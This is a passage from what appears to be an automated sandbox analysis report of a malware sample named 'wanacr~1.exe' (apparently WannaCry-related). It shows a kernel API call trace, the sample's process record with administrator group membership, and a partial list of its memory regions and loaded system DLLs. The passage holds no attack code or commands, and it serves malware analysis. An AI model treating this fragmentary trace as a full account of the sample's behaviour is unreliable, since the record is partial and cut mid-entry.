BaseAddress=0xfffff9014251f358*=0xe3541b0000, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff9014251f370) returned 0x0 [0151.005] EngCreateBitmap () returned 0x7b0505a0 [0151.005] EngAssociateSurface () returned 0x1 [0151.005] EngLockSurface () returned 0xfffff901424612c8 [0151.005] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00000fbb920 [0151.005] KeInitializeEvent (in: Event=0xffffe00000fbb938, Type=0x1, State=0 | out: Event=0xffffe00000fbb938) [0151.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.011] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.011] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.012] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.012] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.012] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.012] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.012] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.013] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.014] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.346] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.377] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.377] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.377] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.412] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.412] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.446] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.446] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.446] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.446] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.447] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.480] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.480] EngAllocMem () returned 0xfffff901424f3360 [0151.480] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.480] MmMapViewOfSection (in: SectionObject=0xffffc00001dbaaa0, Process=0xffffe00001078440, BaseAddress=0xfffff901424f3688*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff901424f36a0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901424f3688*=0xe354200000, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff901424f36a0) returned 0x0 [0151.481] EngCreateBitmap () returned 0x710506c1 [0151.481] EngAssociateSurface () returned 0x1 [0151.481] EngLockSurface () returned 0xfffff901424bfbf8 [0151.481] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000011afab0 [0151.481] KeInitializeEvent (in: Event=0xffffe000011afac8, Type=0x1, State=0 | out: Event=0xffffe000011afac8) [0151.481] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.482] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.482] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.483] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.483] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.483] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.483] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.483] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.483] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.521] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.521] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.521] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.586] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.586] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.586] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.586] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.759] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.760] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.760] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.825] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xe354200000) returned 0x0 [0151.826] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xe355a80000) returned 0x0 Process: id = "84" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x40e4000" os_pid = "0xb18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "83" os_parent_pid = "0xaf4" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 10306 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10307 start_va = 0xec4f90000 end_va = 0xec4faffff entry_point = 0x0 region_type = private name = "private_0x0000000ec4f90000" filename = "" Region: id = 10308 start_va = 0xec4fb0000 end_va = 0xec4fbefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec4fb0000" filename = "" Region: id = 10309 start_va = 0xec4fc0000 end_va = 0xec53bffff entry_point = 0x0 region_type = private name = "private_0x0000000ec4fc0000" filename = "" Region: id = 10310 start_va = 0xec53c0000 end_va = 0xec53c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec53c0000" filename = "" Region: id = 10311 start_va = 0x7ff6ce6b0000 end_va = 0x7ff6ce6d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce6b0000" filename = "" Region: id = 10312 start_va = 0x7ff6ce6d3000 end_va = 0x7ff6ce6d3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce6d3000" filename = "" Region: id = 10313 start_va = 0x7ff6ce6de000 end_va = 0x7ff6ce6dffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce6de000" filename = "" Region: id = 10314 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 10315 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10316 start_va = 0xec53d0000 end_va = 0xec53d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec53d0000" filename = "" Region: id = 10317 start_va = 0xec53e0000 end_va = 0xec53e1fff entry_point = 0x0 region_type = private name = "private_0x0000000ec53e0000" filename = "" Region: id = 10318 start_va = 0xec53f0000 end_va = 0xec596ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec53f0000" filename = "" Region: id = 10319 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 10320 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 10321 start_va = 0xec4f90000 end_va = 0xec4f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec4f90000" filename = "" Region: id = 10322 start_va = 0x7ff6ce5b0000 end_va = 0x7ff6ce6affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce5b0000" filename = "" Region: id = 10323 start_va = 0xec53f0000 end_va = 0xec546dfff entry_point = 0xec53f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10324 start_va = 0xec5570000 end_va = 0xec596ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec5570000" filename = "" Region: id = 10325 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 10326 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10327 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 10328 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 10329 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 10330 start_va = 0xec4fa0000 end_va = 0xec4fa6fff entry_point = 0x0 region_type = private name = "private_0x0000000ec4fa0000" filename = "" Region: id = 10331 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 10332 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 10333 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 10334 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10335 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10336 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 10337 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 10338 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 10339 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10340 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 10341 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10342 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10343 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 10344 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 10345 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 10346 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 10347 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 10348 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 10349 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 10350 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10351 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 10352 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 10353 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 10354 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: 